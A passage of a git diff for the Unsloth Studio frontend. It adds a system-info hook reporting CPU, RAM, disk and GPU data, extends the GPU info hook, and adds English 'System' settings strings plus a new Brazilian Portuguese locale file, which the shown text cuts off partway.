@@ -560,7 +589,10 @@ function TrainingHeaderActions({ {stopRequested ? t("studio.training.stopping") : t("studio.training.stopAction")} - + {t("studio.training.stopTitle")} diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts index d5c923d57d..5b2fa43ae7 100644 --- a/studio/frontend/src/hooks/index.ts +++ b/studio/frontend/src/hooks/index.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: AGPL-3.0-only // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + export { useDebouncedValue } from "./use-debounced-value"; export { useGpuInfo } from "./use-gpu-info"; export { useGpuUtilization } from "./use-gpu-utilization"; @@ -9,3 +10,4 @@ export { useHfDatasetSplits } from "./use-hf-dataset-splits"; export { useHfTokenValidation } from "./use-hf-token-validation"; export { useTauriBackend } from "./use-tauri-backend"; export { useCollapseScrollLock } from "./use-collapse-scroll-lock"; +export { useSystemInfo } from "./use-system"; diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts index eb4d89abd8..1e313acdf3 100644 --- a/studio/frontend/src/hooks/use-gpu-info.ts +++ b/studio/frontend/src/hooks/use-gpu-info.ts @@ -3,19 +3,26 @@ import { authFetch } from "@/features/auth"; import { useEffect, useState } from "react"; +import type { SystemInfoResponse } from "./use-system"; export interface GpuInfo { available: boolean; name: string; memoryTotalGb: number; + cpuCore: number; + cpuThread: number; systemRamAvailableGb: number; + systemRamTotalGb: number } const DEFAULT_GPU: GpuInfo = { available: false, name: "Unknown", memoryTotalGb: 0, + cpuCore: 0, + cpuThread: 0, systemRamAvailableGb: 0, + systemRamTotalGb: 0 }; // Module-level cache so multiple components share one fetch. @@ -30,24 +37,30 @@ async function fetchGpuOnce(): Promise { try { const res = await authFetch("/api/system"); if (!res.ok) throw new Error(`HTTP ${res.status}`); - const data = await res.json(); - const ramAvailableGb = data?.memory?.available_gb ?? 0; + + const data = await res.json() as SystemInfoResponse; const gpuData = data?.gpu; - if (!gpuData?.available || !gpuData.devices?.length) { - // No discrete GPU (e.g. Mac): still surface system RAM so memory math - // (unified memory) has a budget to work with. - const info: GpuInfo = { ...DEFAULT_GPU, systemRamAvailableGb: ramAvailableGb }; - cachedGpu = info; - return info; - } - const devices = gpuData.devices as Array<{ name?: string; memory_total_gb?: number }>; - const totalGb = devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0); - const info: GpuInfo = { - available: true, - name: devices[0]?.name ?? "Unknown", - memoryTotalGb: totalGb, - systemRamAvailableGb: ramAvailableGb, + + // CPU/RAM exist even on hosts without a GPU, so populate them on every path. + // No discrete GPU (e.g. Mac): still surface system RAM so memory math + // (unified memory) has a budget to work with. + const base = { + cpuCore: data?.cpu?.physical_count ?? 0, + cpuThread: data?.cpu?.logical_count ?? 0, + systemRamAvailableGb: data?.memory?.available_gb ?? 0, + systemRamTotalGb: data?.memory?.total_gb ?? 0, }; + + const devices = gpuData?.devices ?? []; + const info: GpuInfo = + gpuData?.available && devices.length + ? { + ...base, + available: true, + name: devices[0]?.name ?? "Unknown", + memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0), + } + : { ...DEFAULT_GPU, ...base }; cachedGpu = info; return info; } catch { @@ -78,4 +91,4 @@ export function useGpuInfo(): GpuInfo { }, []); return gpu; -} +} \ No newline at end of file diff --git a/studio/frontend/src/hooks/use-gpu-utilization.ts b/studio/frontend/src/hooks/use-gpu-utilization.ts index 1a9f6102dd..be16647a4d 100644 --- a/studio/frontend/src/hooks/use-gpu-utilization.ts +++ b/studio/frontend/src/hooks/use-gpu-utilization.ts @@ -7,6 +7,9 @@ import { useEffect, useRef, useState } from "react"; export interface GpuUtilization { available: boolean; backend: string | null; + devices?: GpuUtilization[]; + index?: number; + visible_ordinal?: number; gpu_utilization_pct: number | null; temperature_c: number | null; vram_used_gb: number | null; @@ -57,11 +60,10 @@ export function useGpuUtilization( const json = (await res.json()) as GpuUtilization; if (!cancelled) setData(json); } catch { - // Silently ignore — next poll will retry + // Retry on the next poll. } } - // Fetch immediately, then set up interval void poll(); timerRef.current = setInterval(() => void poll(), intervalMs); diff --git a/studio/frontend/src/hooks/use-system.ts b/studio/frontend/src/hooks/use-system.ts new file mode 100644 index 0000000000..a135cce86e --- /dev/null +++ b/studio/frontend/src/hooks/use-system.ts @@ -0,0 +1,130 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { useEffect, useState } from "react"; + +export interface GpuDevice { + index?: number; + index_kind?: string; + visible_ordinal?: number; + name?: string; + memory_total_gb?: number; + vram_used_gb?: number; + vram_free_gb?: number; + vram_utilization_pct?: number | null; +} + +export interface SystemInfoResponse { + platform: string; + python_version: string; + device_backend: "cuda" | "rocm" | "cpu" | "mlx" | "xpu"; + uptime_seconds: number | null; + cpu: { + logical_count: number; + physical_count: number; + usage_percent: number; + frequency_mhz: number | null; + }; + memory: { + total_gb: number; + available_gb: number; + percent_used: number; + process_used_mb: number; + }; + disk: { + total_gb: number; + free_gb: number; + percent_used: number; + }; + gpu: { + available: boolean; + backend?: string; + backend_cuda_visible_devices?: string | null; + parent_visible_gpu_ids?: number[]; + index_kind?: string; + devices: GpuDevice[]; + }; + ml_packages: { + torch?: string; + transformers?: string; + }; +} + +let cachedSystem: SystemInfoResponse | null = null; +let systemFetchPromise: Promise | null = null; + +const DEFAULT_SYSTEM: SystemInfoResponse = { + platform: "Unknown", + python_version: "Unknown", + device_backend: "cpu", + uptime_seconds: 0, + cpu: { logical_count: 0, physical_count: 0, usage_percent: 0, frequency_mhz: null }, + memory: { total_gb: 0, available_gb: 0, percent_used: 0, process_used_mb: 0 }, + disk: { total_gb: 0, free_gb: 0, percent_used: 0 }, + gpu: { available: false, devices: [] }, + ml_packages: {} +}; + +async function fetchSystemOnce({ + force = false, +}: { force?: boolean } = {}): Promise { + if (systemFetchPromise) return systemFetchPromise; + if (!force && cachedSystem) return cachedSystem; + + systemFetchPromise = (async () => { + try { + const res = await authFetch("/api/system"); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + const data = await res.json(); + + cachedSystem = data as SystemInfoResponse; + return cachedSystem; + } catch { + cachedSystem = null; + return DEFAULT_SYSTEM; + } finally { + systemFetchPromise = null; + } + })(); + + return systemFetchPromise; +} + +interface UseSystemInfoOptions { + pollMs?: number; + enabled?: boolean; +} + +export function useSystemInfo({ + pollMs, + enabled = true, +}: UseSystemInfoOptions = {}): SystemInfoResponse { + const [systemInfo, setSystemInfo] = useState(cachedSystem ?? DEFAULT_SYSTEM); + + useEffect(() => { + if (!enabled) return; + + let cancelled = false; + let timeoutId: number | null = null; + + const update = (force: boolean) => { + void fetchSystemOnce({ force }) + .then((info) => { + if (!cancelled) setSystemInfo(info); + }) + .finally(() => { + if (cancelled || !pollMs) return; + timeoutId = window.setTimeout(() => update(true), pollMs); + }); + }; + + update(Boolean(pollMs)); + return () => { + cancelled = true; + if (timeoutId !== null) window.clearTimeout(timeoutId); + }; + }, [enabled, pollMs]); + + return systemInfo; +} diff --git a/studio/frontend/src/i18n/AGENTS.md b/studio/frontend/src/i18n/AGENTS.md index 42d964acca..35c025cd0b 100644 --- a/studio/frontend/src/i18n/AGENTS.md +++ b/studio/frontend/src/i18n/AGENTS.md @@ -2,10 +2,11 @@ - `locales/en.ts` is the complete baseline message file. - Non-English locale files may be partial. Missing keys must fall back to English at runtime. -- Use BCP 47 locale tags for new languages, for example `zh-CN`, `ja-JP`, and `ko-KR`. +- Use BCP 47 locale tags for new languages, for example `zh-CN`, `pt-BR`, `ja-JP`, and `ko-KR`. - Do not change fallback logic to hide missing translations. - Do not add automatic DOM translation, MutationObserver text replacement, or runtime guess-based translation. - Preserve interpolation variables exactly, for example `{count}`, `{model}`, and `{provider}`. - Keep product and technical names unchanged unless there is an established localized name, for example `Unsloth Studio`, `LoRA`, `GGUF`, and `Hugging Face`. - Keep translation changes small and reviewable. Prefer separate commits for runtime changes, UI migration, and locale text. - When adding user-facing Studio UI text, add the English message key first and add non-English overrides only when the translation is clear. +- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays. \ No newline at end of file diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts index 8c027f9ce3..e2b66f5cdc 100644 --- a/studio/frontend/src/i18n/check-parity.ts +++ b/studio/frontend/src/i18n/check-parity.ts @@ -3,13 +3,14 @@ // Parity check between en.ts and every non-English locale. // - Locale files may be partial; missing keys must fall back to English. -// - All zh-CN keys must exist in en (no extras). +// - All non-English keys must exist in en (no extras). // - Placeholder set must match per leaf between en and the overlay. // // Run: npx tsx src/i18n/check-parity.ts import { en } from "./locales/en.ts"; import { zhCN } from "./locales/zh-CN.ts"; +import { ptBR } from "./locales/pt-br.ts"; import { ja } from "./locales/ja.ts"; type Tree = { readonly [k: string]: string | Tree }; @@ -90,6 +91,7 @@ function checkExtras( const overlays: Record = { "zh-CN": zhCN as unknown as Tree, + "pt-BR": ptBR as unknown as Tree, "ja": ja as unknown as Tree, }; let anyError = false; @@ -112,4 +114,4 @@ for (const [locale, overlay] of Object.entries(overlays)) { } if (anyError) process.exit(1); -console.log("\nAll locale overlays pass parity."); +console.log("\nAll locale overlays pass parity."); \ No newline at end of file diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index 136e8523ba..92abc222a0 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -92,6 +92,7 @@ export const en = { general: "General", profile: "Profile", appearance: "Appearance", + resources: "System", chat: "Chat", connections: "Connections", apiKeys: "API", @@ -275,6 +276,58 @@ export const en = { "Keep the sidebar expanded instead of collapsing to icons.", }, }, + resources: { + title: "System", + description: "Monitor this Studio server's hardware and storage.", + liveUpdates: "Live updates", + floatingWindow: "Floating window", + disableOverlay: "Disable overlay", + liveMonitor: { + title: "Live monitor", + cpu: "CPU", + ram: "RAM", + disk: "Disk", + vram: "VRAM", + cpuCores: "{logical} logical / {physical} physical cores", + currentLoad: "Current load", + free: "{value} free", + noGpu: "No visible GPU", + }, + gpu: { + title: "GPU devices", + noGpu: "No visible GPU detected. CPU-only resources are shown above.", + unknownDevice: "Unknown GPU", + deviceWithIndex: "GPU {index}", + vramUtilization: "VRAM", + used: "{value} used", + free: "{value} free", + total: "{value} total", + }, + storage: { + title: "Storage", + systemDisk: "System disk", + diskUsage: "{used} used / {total}", + diskFree: "{free} free", + modelsFolder: "Models folder", + modelsFolderDescription: "Where downloaded models are stored.", + openAction: "Open", + copyAction: "Copy path", + copied: "Path copied", + openError: "Couldn't open the folder", + copyError: "Couldn't copy the path", + }, + environment: { + title: "Environment", + backend: "Backend", + python: "Python", + torch: "Torch", + transformers: "Transformers", + uptime: "Uptime", + processMemory: "Process memory", + notInstalled: "Not installed", + unknown: "Unknown", + }, + }, chat: { title: "Chat", description: "Manage chat history stored on this device.", @@ -373,8 +426,10 @@ export const en = { usageTools: "Tools", exampleCurlTools: "curl + tools", examplePythonTools: "Python + tools", + exampleJavaScriptTools: "JavaScript + tools", exampleCurlAdvanced: "curl + advanced", examplePythonAdvanced: "Python + advanced", + exampleJavaScriptAdvanced: "JavaScript + advanced", osUnix: "Linux / macOS / WSL", osWindows: "Windows", secureHttps: "Secure HTTPS", diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts new file mode 100644 index 0000000000..c261e4ed0c --- /dev/null +++ b/studio/frontend/src/i18n/locales/pt-br.ts @@ -0,0 +1,934 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +export const ptBR = { + common: { + cancel: "Cancelar", + close: "Fechar", + delete: "Excluir", + done: "Concluído", + error: "Erro", + export: "Exportar", + help: "Ajuda", + loading: "Carregando...", + new: "Novo", + rename: "Renomear", + save: "Salvar", + saving: "Salvando...", + search: "Buscar", + shutdown: "Desligar", + }, + shell: { + beta: "BETA", + brand: "unsloth", + product: "Unsloth Studio", + accountMenu: "Menu de conta {name}", + updateAvailable: "Atualização disponível", + aria: { + home: "Início do Unsloth", + closeSidebar: "Fechar barra lateral", + openSidebar: "Abrir barra lateral", + chatOptions: "Opções de chat", + runOptions: "Opções de execução", + }, + navigation: { + newChat: "Novo Chat", + returnToChat: "Retornar ao Chat", + compare: "Comparar", + search: "Buscar", + hub: "Hub", + train: "Treinar", + recipes: "Receitas", + export: "Exportar", + recents: "Recentes", + settings: "Configurações", + api: "API", + lightMode: "Modo Claro", + darkMode: "Modo Escuro", + guidedTour: "Tour Guiado", + help: "Ajuda", + logOut: "Sair", + shutdown: "Desligar", + }, + notFound: { + title: "Página não encontrada", + description: "{path} não existe.", + backToChat: "Voltar para o chat", + }, + dialog: { + deleteChat: { + title: "Excluir chat", + description: 'Tem certeza de que deseja excluir este chat "{name}"?', + }, + deleteRun: { + title: "Excluir execução de treino", + description: 'Tem certeza de que deseja excluir esta execução "{name}"?', + }, + renameChat: { + title: "Renomear chat", + placeholder: "Título do chat", + }, + renameRun: { + title: "Renomear execução", + placeholder: "Nome da execução", + }, + }, + toast: { + cannotDeleteRunningRun: "Não é possível excluir uma execução de treino em andamento", + failedToDeleteChat: "Falha ao excluir o chat", + failedToDeleteRun: "Falha ao excluir a execução", + failedToRenameChat: "Falha ao renomear o chat", + failedToRenameRun: "Falha ao renomear a execução", + }, + }, + settings: { + title: "Configurações", + dialog: { + title: "Configurações", + description: "Gerencie suas preferências do Unsloth.", + closeAriaLabel: "Fechar configurações", + }, + tabs: { + general: "Geral", + profile: "Perfil", + appearance: "Aparência", + resources: "Sistema", + chat: "Chat", + connections: "Conexões", + apiKeys: "API", + about: "Sobre", + }, + general: { + title: "Geral", + description: "Preferências globais do Unsloth.", + account: "Conta", + huggingFaceToken: "Token do Hugging Face", + huggingFaceTokenDescription: + "Usado para carregar modelos restritos e enviar artefatos.", + tokenSaved: "Token salvo", + hideToken: "Ocultar token", + showToken: "Mostrar token", + password: "Senha", + passwordDescription: "Altere a senha desta conta do Studio.", + passwordDialog: { + trigger: "Alterar senha", + title: "Alterar senha", + description: + "Insira sua senha atual e escolha uma nova (no mínimo {minLength} caracteres).", + currentPassword: "Senha atual", + newPassword: "Nova senha", + confirmPassword: "Confirmar nova senha", + currentTooShort: + "A senha atual deve ter no mínimo {minLength} caracteres.", + newTooShort: "A nova senha deve ter no mínimo {minLength} caracteres.", + mismatch: "As senhas não coincidem.", + samePassword: + "A nova senha deve ser diferente da senha atual.", + update: "Atualizar senha", + updating: "Atualizando...", + updated: "Senha atualizada.", + updateFailed: "Falha ao atualizar a senha.", + }, + chatDefaults: "Padrões do chat", + autoTitleNewChats: "Gerar título automático para novos chats", + autoTitleNewChatsDescription: + "Gera um título curto a partir da primeira mensagem.", + helperLlm: { + sectionTitle: "LLM Auxiliar", + preloadOnStartup: "Pré-carregar LLM Auxiliar na inicialização", + preloadOnStartupDescription: + "Baixa o modelo auxiliar do Assistente de IA em segundo plano ao iniciar. Desativado por padrão; o Assistente de IA ainda pode buscá-lo sob demanda.", + disabledByEnv: + "Desativado por UNSLOTH_HELPER_MODEL_DISABLE no ambiente de backend.", + loadError: "Falha ao carregar as configurações do LLM Auxiliar.", + saveError: "Falha ao salvar as configurações do LLM Auxiliar.", + }, + notifications: { + sectionTitle: "Notificações", + showLlamaUpdates: "Notificações de atualização do llama.cpp", + showLlamaUpdatesDescription: + "Notifica quando uma nova versão do llama.cpp estiver disponível. Desative se você apenas realiza treinos.", + }, + gettingStarted: "Primeiros passos", + startOnboarding: "Iniciar integração", + startOnboardingDescription: + "Reabre o assistente de configuração sem alterar sua conta.", + startOnboardingAction: "Iniciar integração", + uploads: { + sectionTitle: "Uploads", + maxUploadSize: "Limite de upload do dataset de treino", + maxUploadSizeDescription: + "O padrão é {defaultSize} MB.", + }, + storage: { + sectionTitle: "Armazenamento", + modelsFolder: "Pasta de modelos", + modelsFolderDescription: + "Onde os modelos baixados são armazenados.", + openAction: "Abrir", + copyAction: "Copiar caminho", + copied: "Caminho copiado", + openError: "Não foi possível abrir a pasta", + copyError: "Não foi possível copiar o caminho", + }, + resetPreferences: { + sectionTitle: "Zona de perigo", + label: "Redefinir todas as preferências locais", + description: + "Limpa apenas as preferências locais. Chats, acesso à API e configurações salvas no banco de dados são mantidos.", + action: "Redefinir preferências", + confirmTitle: "Redefinir todas as preferências locais?", + confirmDescription: + "Limpa as preferências locais e recarrega o Unsloth. Chats, acesso à API e configurações salvas no banco de dados são mantidos.", + confirmAction: "Redefinir e recarregar", + }, + }, + profile: { + title: "Perfil", + description: "Como seu perfil aparece no Unsloth.", + changePicture: "Alterar foto de perfil", + displayName: "Nome de exibição", + nickname: "Como o Unsloth deve chamar você?", + nicknamePlaceholder: "Apelido", + nicknameSaved: "Nome preferido salvo", + avatarShape: "Formato da foto de perfil", + avatarShapeCircle: "Círculo", + avatarShapeRounded: "Arredondado", + chooseSloth: "Ou escolha uma preguiça", + nameSaved: "Nome de perfil salvo", + namePersistErrorTitle: "Não foi possível persistir o nome de perfil", + namePersistErrorDescription: + "Nome atualizado para esta sessão, mas pode não persistir após recarregar.", + photoUpdated: "Foto de perfil atualizada", + photoPersistErrorTitle: "Não foi possível persistir a foto de perfil", + photoPersistErrorDescription: + "Foto atualizada para esta sessão, mas pode não persistir após recarregar.", + photoUpdateErrorTitle: "Não foi possível atualizar a foto de perfil", + imageUseError: "Não foi possível usar esta imagem.", + }, + appearance: { + title: "Aparência", + description: "Como o Unsloth Studio se parece neste dispositivo.", + theme: { + title: "Tema", + label: "Esquema de cores", + description: "Claro, escuro ou seguir o sistema.", + system: "Sistema", + light: "Claro", + dark: "Escuro", + }, + language: { + title: "Idioma", + label: "Idioma de exibição", + description: "O idioma utilizado pelo Unsloth.", + }, + layout: { + title: "Layout", + compactSidebar: "Fixar barra lateral por padrão", + compactSidebarDescription: + "Mantém a barra lateral expandida em vez de recolhê-la em ícones.", + }, + }, + resources: { + title: "Sistema", + description: "Monitore o hardware e o armazenamento deste servidor Studio.", + liveUpdates: "Atualizações ao vivo", + floatingWindow: "Janela flutuante", + disableOverlay: "Desativar sobreposição", + liveMonitor: { + title: "Monitor ao vivo", + cpu: "CPU", + ram: "RAM", + disk: "Disco", + vram: "VRAM", + cpuCores: "{logical} lógicos / {physical} físicos", + currentLoad: "Carga atual", + free: "{value} livres", + noGpu: "Nenhuma GPU visível", + }, + gpu: { + title: "Dispositivos GPU", + noGpu: "Nenhuma GPU visível detectada. Os recursos somente CPU aparecem acima.", + unknownDevice: "GPU desconhecida", + deviceWithIndex: "GPU {index}", + vramUtilization: "VRAM", + used: "{value} usados", + free: "{value} livres", + total: "{value} total", + }, + storage: { + title: "Armazenamento", + systemDisk: "Disco do sistema", + diskUsage: "{used} usados / {total}", + diskFree: "{free} livres", + modelsFolder: "Pasta de modelos", + modelsFolderDescription: "Onde os modelos baixados são armazenados.", + openAction: "Abrir", + copyAction: "Copiar caminho", + copied: "Caminho copiado", + openError: "Não foi possível abrir a pasta", + copyError: "Não foi possível copiar o caminho", + }, + environment: { + title: "Ambiente", + backend: "Backend", + python: "Python", + torch: "Torch", + transformers: "Transformers", + uptime: "Tempo ativo", + processMemory: "Memória do processo", + notInstalled: "Não instalado", + unknown: "Desconhecido", + }, + }, + chat: { + title: "Chat", + description: "Gerencie o histórico de chat armazenado neste dispositivo.", + modelDisclaimer: "Mostrar aviso do modelo", + modelDisclaimerDescription: + 'Mostra "LLMs podem cometer erros" abaixo da caixa de chat.', + artifacts: { + title: "Canvas", + collapseHtmlBlocks: "Recolher blocos HTML", + collapseHtmlBlocksDescription: + "O modo Canvas recolhe o HTML completo automaticamente. Ative isso para também recolher documentos HTML delimitados quando o Canvas estiver desativado.", + allowNetworkAccess: "Permitir acesso à rede no canvas", + allowNetworkAccessDescription: + "Permite que as pré-visualizações do canvas carreguem scripts, estilos, fontes, mídia e recursos de rede de CDNs. Mantenha desativado para pré-visualizações totalmente offline.", + }, + data: "Dados", + exportHistory: "Exportar histórico de chat", + exportHistoryDescription: + "Baixe todos os chats e mensagens em formato JSON.", + exportAction: "Exportar", + exportingAction: "Exportando...", + exportConversations: "Exportar Recentes e Projetos", + exportConversationsDescription: + "Baixe os Recentes ou Recentes mais chats de projetos como JSONL bruto, CSV ou ShareGPT JSONL, combinados ou por chat.", + exportConversationsAction: "Exportar", + exportScopeRecents: "Recentes", + exportScopeAll: "Recentes + Projetos", + exportCombinedSuffix: "(combinado)", + exportPerChatSuffix: "(por chat)", + importChats: "Importar chats", + importChatsDescription: + "Importe um arquivo exportado em JSONL, NDJSON ou CSV para os Recentes.", + importChatsAction: "Importar", + importNoConversations: "Nenhuma conversa encontrada no arquivo.", + importedOneChat: "Importada 1 conversa para os Recentes.", + importedChatCount: "Importadas {count} conversas para os Recentes.", + importFailed: "Falha na importação.", + clearHistory: "Limpar histórico de chat", + clearHistoryDescription: "Exclui o histórico de chat deste dispositivo.", + clearAction: "Limpar", + clearAllChats: "Limpar todos os chats", + clearAllChatsDescription: "Exclui permanentemente todos os chats deste dispositivo.", + noChatsToClear: "Nenhum chat para limpar.", + clearOneChatDescription: + "Exclui permanentemente o único chat deste dispositivo.", + clearChatCountDescription: + "Exclui permanentemente todos os {count} chats deste dispositivo.", + clearChatsAction: "Limpar chats", + clearOneChatTitle: "Limpar 1 chat?", + clearChatsTitle: "Limpar {count} chats?", + clearChatsConfirmDescription: + "Exclui permanentemente todos os chats deste dispositivo. Esta ação não pode ser desfeita.", + clearingAction: "Limpando...", + clearOneChatAction: "Limpar 1 chat", + clearChatCountAction: "Limpar {count} chats", + clearedAllChats: "Todos os chats foram limpos", + clearedOneChat: "1 chat foi limpo", + clearedChatCount: "{count} chats foram limpos", + someChatsCouldNotBeCleared: "Não foi possível limpar alguns chats", + chatsClearedRemainOne: + "{clearedCount} chats limpos; 1 chat restante. Por favor, tente novamente.", + chatsClearedRemain: + "{clearedCount} chats limpos; {remainingCount} chats restantes. Por favor, tente novamente.", + oneChatClearedRemain: + "1 chat limpo; {remainingCount} chats restantes. Por favor, tente novamente.", + oneChatClearedRemainOne: "1 chat limpo; 1 chat restante. Por favor, tente novamente.", + storageClearFailedOne: + "Falha ao limpar o armazenamento; 1 chat pode ter restado. Por favor, tente novamente.", + storageClearFailed: + "Falha ao limpar o armazenamento; {count} chats podem ter restado. Por favor, tente novamente.", + failedToClearChats: "Falha ao limpar os chats", + }, + connections: { + title: "Conexões", + description: "Gerencie provedores e conexões externas.", + }, + apiKeys: { + title: "API", + description: + "Acesse o Unsloth por meio da API compatível com OpenAI.", + readDocs: "Leia a documentação da API", + noAccess: "Nenhum acesso à API ainda.", + newBadge: "Novo", + accessTokens: "Tokens de acesso", + loadError: "Não foi possível carregar o acesso à API.", + createError: "Não foi possível criar o token de acesso.", + revokeError: "Não foi possível revogar o token de acesso.", + never: "Nunca", + tokenNamePlaceholder: "Nome do token (ex: producao)", + newAccessTokenName: "Nome do novo token de acesso", + createToken: "Criar token", + creating: "Criando...", + newTokenCreated: "Novo token de acesso criado", + accessTokenCopied: "Token de acesso copiado", + copyAccessToken: "Copiar token de acesso", + copyNow: "Copie agora - isto não será exibido novamente.", + usageExamples: "Exemplos de uso", + usageTools: "Ferramentas", + exampleCurlTools: "curl + ferramentas", + examplePythonTools: "Python + ferramentas", + exampleJavaScriptTools: "JavaScript + ferramentas", + exampleCurlAdvanced: "curl + avançado", + examplePythonAdvanced: "Python + avançado", + exampleJavaScriptAdvanced: "JavaScript + avançado", + osUnix: "Linux / macOS / WSL", + osWindows: "Windows", + secureHttps: "HTTPS Seguro", + secureHttpsHint: + "A porta 0.0.0.0 ainda está acessível globalmente. Para segurança total, inicie o Unsloth Studio com --secure para expor apenas este link HTTPS.", + copyTunnelUrl: "Copiar URL do túnel", + copySnippet: "Copiar trecho de código", + copy: "Copiar", + copied: "Copiado", + setupDocs: "Docs de configuração:", + relativeNever: "nunca", + relativeJustNow: "agora mesmo", + relativeHoursAgo: "há {count}h", + relativeDaysAgo: "há {count}d", + relativeMonthsAgo: "há {count} meses", + relativeYearsAgo: "há {count} anos", + expired: "expirado", + today: "hoje", + inDays: "em {count}d", + created: "Criado {value}", + used: "Usado {value}", + expires: "Expira {value}", + actionsFor: "Ações para {name}", + copyPrefix: "Copiar prefixo", + revokeToken: "Revogar token", + revokeTitle: 'Revogar token de acesso "{name}"?', + revokeDescription: + "Aplicativos que usam este token perderão o acesso imediatamente. Esta ação não pode ser desfeita.", + revokeAction: 'Revogar "{name}"', + revoking: "Revogando...", + }, + about: { + title: "Sobre", + description: + "Documentação, notas de lançamento, feedback e informações da build.", + studioVersion: "Versão do Unsloth", + packageVersion: "Versão do Pacote", + llamaCppVersion: "Versão do llama.cpp", + hardware: "Hardware", + gpu: "GPU", + cuda: "CUDA", + rocm: "ROCm", + updates: "Atualização", + help: "Ajuda", + documentation: "Documentação", + releaseNotes: "Notas de lançamento", + whatsNew: "O que há de novo", + feedback: "Feedback", + reportIssue: "Reportar um problema", + license: { + sectionTitle: "Licença", + studioLabel: "Unsloth Studio", + studioLicense: "AGPL-3.0", + studioDescription: + "Código aberto sob a licença GNU AGPL v3.0.", + libraryLabel: "Unsloth Core", + libraryLicense: "Apache-2.0", + libraryDescription: "Licenciado sob Apache 2.0.", + }, + dangerZone: "Zona de perigo", + shutDownStudio: "Desligar Unsloth Studio", + shutDownStudioDescription: + "Interrompe o servidor Unsloth e encerra sua sessão.", + shutDown: "Desligar", + update: { + title: "Atualizar Unsloth Studio", + commandText: "Texto de {label}", + copied: "Copiado", + copyCommand: "Copiar comando", + commandCopied: "{label} copiado", + copyNamedCommand: "Copiar {label}", + checkingInstall: "Verificando como o Unsloth foi instalado...", + installIntro: "Para instalar ou atualizar o Unsloth:", + localUpdateHeading: "Atualização local", + installCommandUnix: "Comando de instalação para macOS/Linux", + installCommandWindows: "Comando de instalação para Windows", + localInstallDetected: + "Instalação local detectada. Atualize a partir do seu repositório original para evitar substituí-lo pelo PyPI.", + pullThenUpdate: "Puxe as últimas alterações (git pull) e depois execute o instalador local:", + gitPullCommand: "comando git pull", + localInstallerCommand: "comando do instalador local", + sourceInstallDetected: + "Instalação do pacote por código-fonte ou VCS detectada. Reinstale a partir do caminho local original ou URL do Git.", + repoCheckoutFallback: + "Se você ainda tiver o repositório baixado, execute o instalador local a partir dele:", + restartAfterUpdate: "Reinicie o Unsloth após a atualização.", + desktopManaged: + "O aplicativo de desktop mantém seu backend integrado atualizado e avisará quando uma nova versão estiver disponível.", + unknownInstall: + "Não foi possível detectar como o Unsloth foi instalado. Para instalações via instalador ou PyPI, use os comandos acima.", + localCheckout: + "Para instalações de repositório local, execute o instalador local a partir desse diretório:", + docs: "Docs de instalação:", + docsInstall: "Instalação", + docsUpdating: "Atualização", + docsMac: "Mac", + docsWindows: "Windows", + }, + }, + }, + studio: { + routeTitle: "Treinar", + title: "Estúdio de Fine-tuning", + subtitles: { + configure: "Configure e inicie o treinamento", + trainingInProgress: "Treinamento em andamento", + viewPastRuns: "Visualizar execuções de treino anteriores", + viewingPastRun: "Visualizando execução anterior", + }, + tabs: { + configure: "Configurar", + currentRun: "Execução Atual", + history: "Histórico", + }, + loadingRuntime: "Carregando ambiente de execução de treino...", + backToHistory: "Voltar ao histórico", + sections: { + model: "Modelo", + dataset: "Dataset", + params: "Parâmetros", + training: "Treinamento", + charts: "Gráficos", + progress: "Progresso do Treinamento", + }, + configure: { + title: "Configurar", + description: "Escolha um modelo, dataset e configurações de treinamento.", + startTraining: "Iniciar Treinamento", + starting: "Iniciando...", + loadingModel: "Carregando modelo...", + checkingDataset: "Verificando dataset...", + trainingConfig: "Configuração de Treino", + }, + model: { + title: "Modelo", + description: "Selecione o modelo base e o método de treinamento", + fasterTrainingBadge: "Treinamento 2x Mais Rápido", + baseModel: "Modelo base", + localModel: "Modelo Local", + localModelTooltip: + "Caminho para um modelo baixado localmente ou um repositório HF customizado.", + scanningLocalAndCachedModels: "Escaneando modelos locais e em cache...", + scanning: "Escaneando...", + scanningLocalModels: "Escaneando modelos locais...", + noLocalModelsFound: "Nenhum modelo local encontrado", + noLocalModelsFoundManual: "Nenhum modelo local encontrado. Insira o caminho manualmente.", + failedToLoadLocalModels: "Falha ao carregar modelos locais", + hfCache: "Cache do HF", + customFolders: "Pastas Customizadas", + localDir: "Diretório local", + huggingFaceModel: "Modelo do Hugging Face", + huggingFaceModelTooltip: + "Busque modelos no Hugging Face ou escolha da nossa lista recomendada.", + searchModels: "Buscar modelos...", + searching: "Buscando...", + noModelsFound: "Nenhum modelo encontrado", + needsVram: "Precisa de ~{vram}GB de VRAM (GPU: {gpu}GB)", + tightVram: "~{vram}GB de VRAM (limite na {gpu}GB)", + vramEstimate: "~{vram}GB de VRAM", + method: "Método", + methodTooltip: + "O QLoRA usa quantização de 4 bits para menor uso de VRAM. O LoRA usa 16 bits. O Full atualiza todos os pesos. O CPT (Continued Pretraining) treina em texto bruto para adaptar o modelo a um novo domínio sem formatação de chat.", + readMore: "Leia mais", + fullFineTune: "Fine-tune Completo (Full)", + checkingToken: "Verificando token...", + getOrUpdateToken: "Obter ou atualizar token", + huggingFaceTokenOptional: "Token do Hugging Face (Opcional)", + continuedPretraining: "Pré-treinamento Contínuo (CPT)", + localModels: "Modelos locais", + localModelsFound: "{count} modelos locais/em cache encontrados", + loadingLocalModels: "Carregando modelos locais...", 